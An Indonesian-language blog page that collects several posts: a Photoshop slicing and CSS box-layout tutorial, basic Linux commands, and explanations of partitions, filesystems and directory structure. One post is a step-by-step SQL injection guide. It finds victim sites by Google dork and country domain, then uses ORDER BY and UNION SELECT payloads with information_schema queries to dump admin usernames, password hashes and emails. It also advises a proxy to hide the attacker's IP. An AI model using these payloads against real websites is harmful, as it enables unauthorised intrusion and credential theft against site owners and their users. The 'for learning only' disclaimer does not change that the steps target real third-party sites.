Linux Wejib

1

Metode Slice dan Melayout Box Sederhana




Metode Slice Photoshop

New Document

1. buat halaman baru 13x13 pixel dengan menekan Ctrl+N
2. buat design box nya (terserah selera)



Slice (potong images nya)
1. klik icon Slice Tool
2. klik dan drag untuk melakukan slicing
3. sampai semua slice yang dibutuhkan selesai



Beri Nama Slice
1. klik kanan Slice Tool
2. pilih Slice Select Tool
3. klik pada slice
4. klik kanan dan pilih Edit Slice Option
5. beri nama Slice (terserah) pada kolom Name
6. klik Ok
(ulangi step 3,4,5,6 untuk memberi nama slice yang lain)



Simpan Images
Klik menu File dan klik Save For Web
1. Klik pada slice
2. Sesuaikan File Typenya (sesuai kebutuhan)
(ulangi step 1,2 untuk mengatur File Type slice yang lain)
3. Klik Save (jika semua slice sudah diatur)
4. Pilih All User Slices pada pilihan Dropdown Slice
5. Klik Save untuk melanjutkan.



hasilnya akan menjadi beberapa file sesuai banyaknya slice (potongan yang telah kita tentukan)



HTML
setelah selesai baru sekarang kita rangkai, file-file gambar yang telah terpotong di html.

buat file baru menggunakan "gedit" dan tambahkan code dasar html ini di dalamnya

<html>
<head>
</head>

<body>
</body>
</html>

simpan misal dengan nama "sample_box" tempatkan persis berdampingan dengan folder "images" yang dibuat oleh photoshop



Menata Layout Box

1. Menggunakan Div dan CSS
tambahkan style ini dibawah tag <head> sebelum tag </head>

<style type="text/css">
.box{
width:350px;
position:relative;
padding:6px;
}
.box #btl{
background:url(images/box_top_left.gif) no-repeat top left;
position:absolute;
width:6px;
height:6px;
left:0px;
top:0px;
}
.box #btr{
background:url(images/box_top_right.gif) no-repeat top right;
position:absolute;
width:6px;
height:6px;
right:0px;
top:0px;
}
.box #btc{
background:url(images/box_top_center.gif) repeat-x top left;
position:absolute;
height:6px;
left:6px;
right:6px;
top:0px;
}
.box #bcl{
background:url(images/box_center_left.gif) repeat-y top left;
position:absolute;
width:6px;
top:6px;
bottom:6px;
left:0px;
}
.box #bcr{
background:url(images/box_center_right.gif) repeat-y top right;
position:absolute;
width:6px;
top:6px;
bottom:6px;
right:0px;
}
.box #bbl{
background:url(images/box_bottom_left.gif) no-repeat bottom left;
position:absolute;
width:6px;
height:6px;
left:0px;
bottom:0px;
}
.box #bbr{
background:url(images/box_bottom_right.gif) no-repeat bottom right;
position:absolute;
width:6px;
height:6px;
right:0px;
bottom:0px;
}
.box #bbc{
background:url(images/box_bottom_center.gif) repeat-x bottom left;
position:absolute;
height:6px;
left:6px;
right:6px;
bottom:0px;
}
.box #bcc{
background:url(images/box_bg.gif);
padding:12px;
}
</style>

atau bisa juga begini:

<style type="text/css">
.box{
width:350px; position:relative;
}
.box, .box #bcc{
padding:6px;
}
.box #btl, .box #btr, .box #btc, .box #bcl, .box #bcr, .box #bbl, .box #bbr, .box #bbc{
position:absolute;
}
.box #btl, .box #btr, .box #bcl, .box #bcr, .box #bbl, .box #bbr{
width:6px;
}
.box #btl, .box #btr, .box #btc, .box #bbl, .box #bbr, .box #bbc{
height:6px;
}
.box #btc, .box #bbc{
left:6px;
}
.box #bbc, .box #btc{
right:6px;
}
.box #bcl, .box #bcr{
top:6px; bottom:6px;
}
.box #btl, .box #bcl, .box #bbl{
left:0px;
}
.box #btl, .box #btr, .box #btc{
top:0px;
}
.box #btr, .box #bcr, .box #bbr{
right:0px;
}
.box #bbl, .box #bbr, .box #bbc{
bottom:0px;
}
.box #btl{
background:url(images/box_top_left.gif) no-repeat top left;
}
.box #btr{
background:url(images/box_top_right.gif) no-repeat top right;
}
.box #btc{
background:url(images/box_top_center.gif) repeat-x top left;
}
.box #bcl{
background:url(images/box_center_left.gif) repeat-y top left;
}
.box #bcr{
background:url(images/box_center_right.gif) repeat-y top right;
}
.box #bbl{
background:url(images/box_bottom_left.gif) no-repeat bottom left;
}
.box #bbr{
background:url(images/box_bottom_right.gif) no-repeat bottom right;
}
.box #bbc{
background:url(images/box_bottom_center.gif) repeat-x bottom left;
}
.box #bcc{
background:url(images/box_bg.gif);
}
</style>

tambahkan code ini dibawah tag <body> sebelum tag </body>

<div class="box">

<div id="btl"></div>
<div id="btr"></div>
<div id="btc"></div>
<div id="bcl"></div>
<div id="bcr"></div>
<div id="bbl"></div>
<div id="bbr"></div>
<div id="bbc"></div>

<div id="bcc">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN11KrOt0HOd66slX0EnXa-ibeF2p0Bt8w38bFmrmd_L4bPaetSuLEpEiGGJ9zGu8LRUM7jitlIp8DEIIhzarnKd0CAXka_YRkoFk6EB6i1JM5xyodox16faGYCB5yohESNDLGVHYtfxv5/s1600/adipodayDESIGN.png">
</div>

</div>

Bhecah Kakabbhi...
6

SQL 5 injection (Sharing Pengalaman)


setelah beberapa hari belajar "SQL Injection"
akhirnya bisa juga dikit-dikit, ayo yang mau coba nich ada step-stepnya


+++[ STEP I ]+++++++++++++++++++++++++++++++
Cari Target

pergi ke google dot com dan ketikkan:

allinurl:"***.php?" site:.....

*** <--target (misal index.php, news.php, berita.php)
.....
<--lokasi (misal id;Indonesia, my:Malaysia, il:Israel)


contohnya:

allinurl:"news.php?id=" site:my

sekarang pilih salah satu target yang ditampilkan dari hasil pencarian Google


+++[ STEP II ]++++++++++++++++++++++++++++++
Check VULN ato Gak

untuk ngecheck target VULN ato gak, coba tambahkan (') atau (-)
contoh, kita dapet target dengan alamat:

/news.php?id=5


nah sekarang coba kita tambahin karakter diatas, contoh;

/news.php?id=5'

atau

/news.php?id=-5

jika muncul pesan error, maka lanjutkan ke step berikutnya


+++[ STEP III ]+++++++++++++++++++++++++++++
Cari Informasi Jumlah Colom dalam Table

sekarang waktunya berhitung, ini dimaksud untuk mencari jumlah colom yang ada dalam table, tambahkan perintah:

+order+by+1-- <-- di paling akhir


contohnya:

/news.php?id=-5+order+by+1--

ganti angka 1 ke 2,3 dan seterusnya hingga ada pesan error, contoh:

/news.php?id=-5+order+by+1-- (belum ada pesan error)
/news.php?id=-5+order+by+2-- (belum ada pesan error)
/news.php?id=-5+order+by+3-- (belum ada pesan error)
/news.php?id=-5+order+by+4-- (belum ada pesan error)
/news.php?id=-5+order+by+5-- (belum ada pesan error)
/news.php?id=-5+order+by+6-- (ada pesan error)

dalam kasus ini, dapat diambil kesimpulan bahwa jumlah tablenya hanya ada 5, lanjut ke step selanjutnya


+++[ STEP IV ]++++++++++++++++++++++++++++++
Check Versi SQL

setelah informasi jumlah tablenya kita dapatkan, sekarang ganti:

+order+by+5--
menjadi:
+union+all+select+1,2,3,4,5--

maka menjadi:

/news.php?id=-5+union+all+select+1,2,3,4,5--

perhatikan angka yang ditampilkan, misal angka yang ditampilkan adalah:

5
3
2

dalam kasus ini ada tiga angka (5,3 dan 2) yang bisa kita gunakan untuk mencari informasi database lebih lanjut, ganti salah satu angka dari tiga angka yang ditampilkan (5,3 dan 2) dengan perintah:

version()
@@version

contoh:

/news.php?id=-5+union+all+select+1,2,3,4,version()--
/news.php?id=-5+union+all+select+1,2,version(),4,5--
/news.php?id=-5+union+all+select+1,version(),3,4,5--

perhatikan pesan yang ditampilkan, jika versi mysql > 5.x.x.x.x itu artinya kita bisa lanjut pada step selanjutnya, jika masih 4.x.x.x.x, silahkan lihat disini ato googling aja
* maklum wa sendiri juga belum ngerti, wakakakakaka
* di step ini sering gagal karena sebagian webmaster sudah menfilter perintah union hingga akhirnya tidak bisa dieksekusi...


+++[ STEP V ]+++++++++++++++++++++++++++++++
Cari Informasi Nama Table

di step ini kita akan mencari informasi daftar nama table yang ada pada database, caranya ganti perintah:

version() ke --> "group_concat(table_name)"

kemudian tambahkan perintah:

+from+information_schema.tables+where+table_schema=database()
(di depan karakter "--" di paling akhir)

misal version() tadi di angka 2, maka menjadi seperti ini

/news.php?id=-5+union+all+select+1,group_concat(table_name),3,4, 5+from+information_schema.tables+where+table_schema =database()--

sekarang perhatikan apa yang tampil, semua nama table di tampilkan dengan pemisah karakter "," misal yang ditampilkan:

(admin,berita,artikel,guestbook,counter)

berarti databasenya memilikita table;

- admin
- berita
- artikel
- guestbook
- counter
untuk menyimpan data dari administrasi website tersebut.


sekarang kita lanjut ke step berikut


+++[ STEP VI ]++++++++++++++++++++++++++++++
Cari informasi Nama Colom dari Table

dalam hal ini kita harus menggunakan tool konversi "TEXT" ke "HEXA"
atau kita bisa menggunakan web ini
dalam kasus ini misal kita ingin mengetahui daftar "nama colom" yang ada pada table "admin" maka kita harus mengonversi kata (admin) ke HEXA, setelah kita memperoleh hasil konversinya misal hasilnya;

61 64 6D 69 6E

maka tambahkan "0x" di awal HEXA, hingga jadi seperti ini:

0x61646D696E

dan ganti perintah;

group_concat(table_name)
menjadi:
group_concat(column_name)

ganti juga perintah:

+from+information_schema.tables+where+table_schema=database()
menjadi:
+from+information_schema.columns+where+table_name =0x61646D696E

hingga jadinya seperti ini:

/news.php?id=-5+union+all+select+1,group_concat(column_name) ,3,4,5+from+information_schema.columns+where+table_name =0x61646D696E--

sekarang semua nama colom dalam table admin ditampilkan dengan pemisah karakter "," misal:

(id,username,password,email)


lanjut.....


+++[ STEP VII ]+++++++++++++++++++++++++++++++
Cari Informasi Isi Colom

setelah kita dapat semua informasi table dan colom yang terdapat dalam table, maka sekarang kita akan menampilkan isi record yang tersimpan dalam colom, dalam hal ini kita akan menampilkan semua isi colom "username", "password" dan email dari table admin.

sekarang kita ganti perintah:

group_concat(column_name)
menjadi:
group_concat(0x3a,username,0x3a,password,0x3a,email)
* "0x3a" <-- pemisah yang nantinya menampilkan karakter ":"

kemudian ganti perintah:

+from+information_schema.columns+where+table_name =0x61646D696E
menjadi:
+from+admin

hingga jadinya seperti ini:

/news.php?id=-5+union+all+select+1,group_concat(0x3a,username, 0x3a,password,0x3a,email),3,4,5+from+admin--

misal yang tampil:

(:administrator:5f868wf56r46s4586d126s58f6fe6w4a5:email@ gmail.com:....

kesimpulannya yaitu, kita sudah dapet data admin untuk login ke system

username : administrator
password : 5f868wf56r46s4586d126s58f6fe6w4a5
^--- pass hash ini di encrypt dulu
email : email@gmail.com



____________________________________ selesai dech tinggal
- cari login adminnya
- trus masukin username dan pass ( yang telah di encrypt)

=======================================
* STEP-STEP NICH CUMA UNTUK PEMBELAJARAN
* disarankan menggunakan proxy untuk privasi IP komputer kita
* Semua Resiko dari penyalahgunaan ditanggung sendiri
* hehehe semoga sukses :D :D :D :D
* ___________________________ by 4dyP0d4y
Bhecah Kakabbhi...

Perintah Console Linux

berikut perintah perintah terminal linux:




login sebagai user root

su -
sudo su
sudo bash



pindah direktori

cd /etc/network
cd /home/data/c-station/data/client
cd /var/www


* pindah ke index direktori

cd



Tampilkan isi direktori

ls
ls /etc/network



copy file

cp index.php depan.php
cp /home/c-station/data/public/client/piuput.doc /home/piuput/data.doc


copy direktori

cp -R /home/shufialy /home/piuput
cp -R /var/www/billing /var/www/server



Memindahkan file

mv index.php indux.php
mv /var/www/index.php /var/www/server/indux.php

Bhecah Kakabbhi...
1

Analogi Partisi dengan Struktur Direktory Linux

Berbicara tentang partisi maka diperlukan pemahaman tentang penamaan system partisi dan device yang berlaku di linux, pada OS Linux penandaan partisi dan device adalah sebagai berikut:
/dev/sda adalah device hardisc pertama

/dev/sda1 adalah prtisi satu dari hardisc pertama
/dev/sda2 adalah prtisi dua dari hardisc pertama
/dev/sda3 adalah prtisi tiga dari hardisc pertama


/dev/sdb adalah device hardisc kedua

/dev/sdb1 adalah prtisi satu dari hardisc kedua
/dev/sdb2 adalah prtisi dua dari hardisc kedua
/dev/sdb3 adalah prtisi tiga dari hardisc kedua


….. dan begitu seterusnya

sekarang coba kita perhatikan sekenario ini, dilakukan installasi OS Linux dengan 2 Hardisk, yaitu device sda (Hardisk Pertama) 10 Gb dan device sbd (Hardisk Kedua) 80 Gb dengan pembagian partisi sebagai berikut:

sda (Hardisk Pertama)

sda1 Ext4 :
digunakan sebagai "/" dengan kapasitas 8 Gb
sda2 Swap :
digunakan sebagai swap dengan kapasitas 2 Gb


sdb (Hardisk Kedua)

sdb1 Ext4 :
digunakan sebagai "/home/c-station/data/public" dengan kapasitas 11 Gb
(yang nantinya akan dishare dari server sebagai penampung data client dan admin)
sdb2 Xfs :
digunakan sebagai "/home/c-station/arsip/inet01" dengan kapasitas 7.7 Gb
(yang nantinya akan digunakan sebagai tabung1 dari cache proxy server)
sdb3 Xfs :
digunakan sebagai "/home/c-station/arsip/inet02" dengan kapasitas 7.7 Gb
(yang nantinya akan digunakan sebagai tabung2 dari cache proxy server)
sdb4 Xfs :
digunakan sebagai "/home/c-station/arsip/inet03" dengan kapasitas 7.7 Gb
(yang nantinya akan digunakan sebagai tabung3 dari cache proxy server)
sdb5 Ext4 :
digunakan sebagai "/home/c-station/data/private" dengan kapasitas 2.3 Gb
(yang nantinya akan dishare dari server bagi beberapa user tentu)
sdb6 Ext4 :
digunakan sebagai "/home/c-station/data/server" dengan kapasitas 43 Gb
(yang nantinya akan dishare dari server sebagai data bersama seperti musik, film, gambar dll)


Pada diagram diatas diperlihatkan "sda1" yang merupakan partisi dari Hardisk pertama yang digunakan sebagai "/" (lokasi installasi OS Linux) yang di dalamnya terdapat berbagai macam direktori "/bin", "/sbin", "/home" dan lain sebagainya. Dan perhatikan "sdb1" yang menunjuk ke direktori "/home/c-station/data/public". Direktori ini memang berada di bawah direktori "/" namun "/home/c-station/data/public" tersebut menunjuk (me-link) ke partisi "sdb1", jadi "/home/c-station/data/public" dan semua data-data yang ada di dalamnya sebenarnya berada pada partisi "sdb1"
Kesimpulannya direktori "/home/c-station/data/public" pada diagram diatas secara logical berada di dalam direktori "/" namun sesungguhnya data yang berada dalam "/home/c-station/data/public" berada di partisi "sdb1".

Pembagian partisi diatas tidak hanya berlaku untuk direktori "/" dan "/home/c-station/data/public" saja, namun direktori-direktori lain juga bisa diberikan perlakuan yang sama.
Bhecah Kakabbhi...

File System Partisi Linux

Dalam menggunakan System Operasi Linux kita akan berhadapan dengan pilihan file sistem yang akan dipakai : ext3, ext4, XFS, ReiserFS, Btrfs, atau mungkin yang lain. Pilihan tersebut sangat membingungkan bagi sebagian orang (terutama bagi pemula). file sistem pun berkembang seiring dengan perkembangan teknologi. Bagi kebanyakan orang mereka tidak melihat ke file sistem apa yang dipakai, selama sistem mereka stabil dan terasa cepat, tapi yang menjadi pertanyaan adalah bagaiman kita tahu file sistem mana yang tepat untuk sistem kita.? Disini kami akan berusaha untuk membahas perbedaan mendasar di antara pilihan yang paling umum, dan memberikan pro dan kontra dari setiap pilihan.

Ext2
Ext2 adalah “old stanby” filesystem. File sistem ini merupakan standar untuk sebagian besar distribusi Linux utama pada mulanya. Meskipun sebagian besar telah digantikan oleh versi 3 dan 4, ext2 masih populer pada USB dan lain perangkat solid-state. Hal ini karena filesistem ini tidak memiliki journal fungsi, sehingga membuat sedikit membaca dan menulis ke drive, sangat efektif untuk memperpanjang hidup perangkat.
Recommended Use: USB/Solid State Drives, atau apapun di mana Anda membutuhkan stabilitas tinggi dengan minimal membaca / menulis.

Ext3
Perbedaan paling mencolok antara ext2 dan ext3 adalah pengenalan journal. Singkatnya, filesystem journal dimaksudkan untuk memulihkan lebih baik bila sistem crash. Setiap kali Anda menemukan diri Anda dalam keraguan tentang apa yang digunakan untuk filesystem Linux, ext3 adalah pilihan tepat. Ini sangat stabil, sangat baik didukung, dan berisi semua fitur Anda akan membutuhkan untuk OS desktop.
Recommended Use: Jika Anda tidak punya alasan khusus untuk filesystem lain, ext3 adalah sebuah standar yang sangat baik.

Ext4
Yang paling terbaru dalam garis filesystem ext, ext4 mencakup banyak peningkatan besar melampuai dukungan filesystem ext3, seperti pemeriksaan lebih cepat dalam waktu sepersekian detik dan verifikasi jurnal melalui checksums.Keunggulan lain dari filesistem ini adalah kompatibel dengan versi 2 dan 3, sehingga Anda dapat me-mount filesystem ext2 atau ext3 sebagai ext4, dan sebaliknya. Namun Anda mungkin kehilangan beberapa manfaat dari versi yang lebih baru saat mount sebagai yang lebih tua. Banyak distribusi Linux modern sekarang menawarkan ext4 saat instalasi, dan beberapa menggunakan sebagai default.
Recommended Use: Eext4 sudah cukup stabil untuk desktop dan kebutuhan server. Jika Anda ditawari oleh distro sebagai pilihan installasi, ia pastilah merupakan pilihan yang baik untuk hampir semua kebutuhan penggunaan.

ReiserFS (Reiser3)
Sebelum ext3, ReiserFS hanyalah filesystem journal hanya untuk Linux. Filesistem ini terkenal karena memungkinkan Resize live filesystem. Dalam beberapa kasus di mana banyak file kecil yang terlibat, ReiserFS dapat mengalahkan ext3 dengan selisih yang cukup besar. Reiser3 memiliki masalah, ketika munculnya PC multicore, namun filesistem ini tidak mampu mengimbanginya.
Recommended Use: Gunakan file sistem ini bila berinteraksi dengan file kecil pada sistem single core.

Reiser4
Reiser4 dimaksudkan untuk memecahkan beberapa masalah yang ada pada Reiser3. Kinerja telah meningkat, terutama dengan file kecil, dan termasuk dukungan untuk plugin untuk menangani hal-hal seperti kompresi dan enkripsi. Reiser4 memiliki masa depan yang agak tidak menentu karena tidak diterima dalam kernel Linux, perancang utama di penjara, dan perusahaan yang mengembangkannya tidak beroperasi. Reiser4, jika sudah selesai dan sepenuhnya dipoles, bisa menjadi cepat dan filesystem berguna, tetapi sampai keuntungan pijakan di kernel utama tidak mungkin menjadi pilihan yang baik untuk penggunaan jangka panjang.
Recommended Use: Filesystem pengujian dan pengembangan

XFS
XFS dikemas penuh fitur keren seperti tingkat rate I/O terjamin, online resizing, built-in quota enforcement, dan secara teoritis dapat mendukung filesystem sampai dengan 8 exabyte dalam ukuran. XFS sudah digunakan di Linux sejak sekitar tahun 2001, dan tersedia sebagai pilihan pada banyak distribusi Linux yang populer. Dengan ukuran blok variabel, Anda dapat mengatur sistem Anda seperti sliding scale untuk tweak untuk efisiensi ruang atau membaca kinerja.
Recommended Use: Jika Anda benar-benar ingin men-tweak sistem Anda untuk memenuhi kebutuhan Anda, XFS lah pilihan yang tepat bagi anda

Btrfs
Btrfs masih dalam pengembangan, dan mungkin belum siap untuk penggunaan server. Diberitakan, BtrFS telah dimasukkan sampai batas tertentu dalam kernel Linux dan tersedia sebagai pilihan dalam menginstal beberapa distro. Beberapa fitur menarik termasuk kompresi transparan, foto, kloning, dan konversi di tempat (dengan rollback) dari ext3 dan 4. According to the lead developer, Btrfs aims to “ let Linux scale for the storage that will be available. ” Btrfs, once completed and matured, will likely be a strong contender in the Linux filesystem world on both desktops and servers. Menurut kepala pengembangnya, Btrfs bertujuan untuk “let Linux scale for the storage that will be available”.Bila BtrFS telah mencapai stable nantinya, mungkin akan menjadi pesaing kuat di dunia filesystem Linux di kedua desktop dan server.
Recommended Use: Btrfs harusnya merupakan filesystem yang sangat baik untuk untuk server dan perangkat penyimpanan lainnya yang menggunakan bandwidth tinggi.
Bhecah Kakabbhi...

Struktur Direktori Linux




"/" : menunjukkan hirarki tertinggi dari sistem ditektori Linux dimana direktori ini membawahi dari direktori /usr, /home, /mnt dan direktori lainya.


Direktori "/bin"
Direktori ini berisi program-program yang esensial agar sistem operasi dapat bekerja dengan benar. Dalam direktori ini dapat ditemukan perintah-perintah navigasi, program-program shell, perintah pencarian. Bin adalah singkatan dari kata binary. Di Linux sebuah binary adalah file yang dapat dieksekusi (executable).
Sebagian besar dari perintah dalam UNIX merupakan binary, perintah-perintah tersebut merupakan program-program kecil yang dapat dieksekusi oleh pengguna.
Ada beberapa perintah yang disebut perintah built-in dimana fungsi tersebut dikendalikan oleh program shell, sehingga mereka tidak beroperasi sebagai binary yang terpisah.
Terkadang direktori bin terhubung ke direktori lain yang dinamakan /usr/bin. Direktori /usr/bin biasanya adalah lokasi sebenarnya dari binary-binary pengguna disimpan.Dalam hal ini, /bin adalah gerbang untuk mencapai /usr/bin.
Contoh : perintah ls (menampilkan isi dari direktori), cd (untuk berpindah direktori).

Direktori "/sbin"
Direktori ini berisi binary-binary juga seperti pada direktori bin. Bedanya binary-binary pada direktori ini berhubungan dengan fungsi-fungsi sistem administrasi. Binary-binary ini bukan yang biasa digunakan oleh pengguna tetapi digunakan agar komputer dapat beroperasi secara efisien. Biasanya hanya dapat dijalankan oleh user yang tertinggi (root)
Contoh : ifconfig (menampilkan informasi tentang kartu jaringan / network device yang terpasang pada mesin)

Direktori "/dev"
Direktori ini berisi berkas-berkas alat (file devices) atau alat I/O. Sistem Linux menganggap semuanya sebagai file (berkas). Monitor, CD-ROM, printer dianggap hanya sebagai sebuah file oleh sistem operasi. Jika Linux memerlukan perangkat-perangkat tersebut maka Linux akan mencarinya ke direktori dev.

Direktori "/etc"
Direktori yang dibaca et-see ini berisi beberapa file-file konfigurasi pengguna dan sistem, seperti file konfigurasi kata sandi (password), group yang ada dikomputer, dan pesan untuk hari ini.

Direktori "/lib"
Direktori ini berisi pustaka-pustaka (libraries) yang dibagi (shared). Pustaka ini adalah rutin perangkat lunak (software routines) yang digunakan lebih dari satu bagian dari sistem operasi. Ketika kita menginstalasi perangkat lunak yang baru maka ada pustaka-pustaka baru yang ditambahkan ke direktori lib.
Jika pada saatmenjalankan aplikasi terdapat pesan error, hal ini diakibatkan ada pustaka yang hilang dari direktori lib. Aplikasi di Linux biasanya memeriksa lib ketika melakukan instalasi, untuk memeriksa apakah pustaka-pustaka yang diperlukan oleh aplikasi sudah tersedia atau belum. Jika sudah tersedia, Linux biasanya tidak menimpa pustaka tersebut.

Direktori "/usr"
Direktori ini terdiri dari banyak direktori seperti pada direktori root. Direktori ini berisi berkas-berkas yang dapat diakses oleh para pengguna (user) biasa. Struktur dari direktori ini mirip dengan struktur direktori "/". Beberapa direktori yang terdapat dalam direktori ini berhubungan dengan direktori yang ada di direktori "/".

Direktori "/usr/bin"
Memuat file yang dapat dieksekusi untuk banyak perintah Linux yang bukan merupakan bagian dari OS Linux.

Direktori "/usr/include"
Memuat file – file header dari bahasa pemrograman C dan C++.

Direktori "/usr/lib"
Memuat file – file library untuk bahasa pemrograman C dan C++.

Direktori "/usr/local"
Memuat data lokal. Ia memuat direktori yang sama seperti /usr.

Direktori "/usr/sbin"
Memuat perintah – perintah administratif.

Direktori "/usr/share"
Memuat data yang dipakai oleh banyak user sekaligus, seperti file konfigurasi default, gambar dan dokumentasi.

Direktori "/usr/src"
Memuat source code untuk Linux kernel.

Direktori "/sys"
Direktori spesial yang memuat informasi mengenai perangkat keras seperti yang terlihat oleh Linux.

Direktori "/root"
Merupakan “home” nya superuser / root / administrator.

Direktori "/home"
Berisi data dari user yang terdaftar dalam komputer / mesin yang bersangkutan.

Direktori "/opt"
Berisi aplikasi yang dapat diakses oleh semua user (hampir sama dengan /usr/sbin/.

Direktori "/tmp"
Singkatan dari temporer adalah direktori yang disediakan ketika dibutuhkan ruang sementara dalam melakukan pekerjaan, contoh ketika melakukan proses burn cd maka image (file iso ) secara default dimasukkan ke direktori ini sebelum di burn ke cd.

Direktori "/mnt"
Berisi informasi device yang terpasang (mount) di dalam komputer.

Direktori "/boot"
Berisi informasi yang berkaitan dengan device dan service yang dijalankan ketika komputer melakukan booting (proses komputer dari keadaan mati/off menjadi hidup/on)

Direktori "/media"
Direktori untuk mounting removable media seperi drive CD-ROM, floopy disk dan zip drive.

Direktori "/srv"
Memuat data untuk layanan (HTTP, FTP, etc.) yang ditawarkan sistem.

Direktori "/var"
Direktori ini berisi data yang bermacam-macam (vary). Perubahan data dalam sistem yang aktif sangatlah cepat. Data-data seperti ini ada dalam waktu yang singkat. Karena sifatnya yang selalu berubah tidak memungkinkan disimpan dalam direktori seperti "/etc". Oleh karena itu, data-data seperti ini disimpan di direktori var.

Direktori "/var/cache"
Area penyimpanan untuk cache data berbagai aplikasi.

Direktori "/var/lib"
Memuat informasi tentang status aplikasi – aplikasi yang ada. Aplikasi memodifikasi direktori ini saat mereka bekerja.

Direktori "/var/lock"
Memuat file yang dikunci agar hanya dapat dipakai oleh satu aplikasi saja.

Direktori "/var/log"
Memuat log dari aplikasi yang berbeda.

Direktori "/var/mail"
Memuat email pemilik.

Direktori "/var/opt"
Memuat data variabel untuk paket yang disimpan di direktori /opt.

Direktori "/var/run"
Memuat data yang menjelaskan sistem sejak pertama kali dijalankan.

Direktori "/var/spool"
Memuat data yang menunggu untuk diproses.

Direktori "/var/tmp"
Memuat file sementara, isi direktori ini tidak dihapus saat sistem dimatikan.

Direktori "/var/www"
Memuat semua file web local yang dijalan oleh apache di localhost

Direktori "/proc"
Direktori istimewa untuk sistem file virtual. Ia mencakup informasi mengenai berbagai aspek sistem Linux.



Secara umum pada sistem operasi linux berisi direktori yang disebutkan di atas namun pada beberapa distro ditambahkan beberapa direktori spesifik dimana direktori yang ditambahkan memiliki fungsi khusus yang kadangkala tidak terdapat pada distro lain.
Ketika melakukan installasi maka dibutuhkan setidaknya 2 partisi agar suatu komputer bisa diinstall OS Linux yaitu partisi root (dilambangkan dengan "/") dan partisi swap. Partisi root "/" digunakan untuk menginstall sistem Linux, hampir sama dengan C:\Winxxxs untuk sistem operasi Micxxxoft. Partisi swap dialokasikan sebagai tambahan memori ketika Memory RAM tidak mencukupi ketika sistem me-load suatu program, contoh kasus : load program X membutuhkan memori sebesar 1500 MB sedangkan RAM yang terpasang adalah 1000 MB / 1 GB maka 500 MB memori sisa yang dibutuhkan diambilkan dari partisi swap yang sudah dibuat. Besar partisi swap yang dibutuhkan untuk memori RAM ? 1 GB adalah dua kali Memory RAM yang terpasang pada komputer, kecuali untuk memori RAM diatas 2 GB maka alokasi swap tidak harus 2 kali RAM bisa dipasang 1 GB atau terserah selera dari masing-masing user
Bhecah Kakabbhi...
1

Logo Adipoday Design

Bhecah Kakabbhi...
 
Copyright © Dhisah Linux
Design by
4dyP0d4y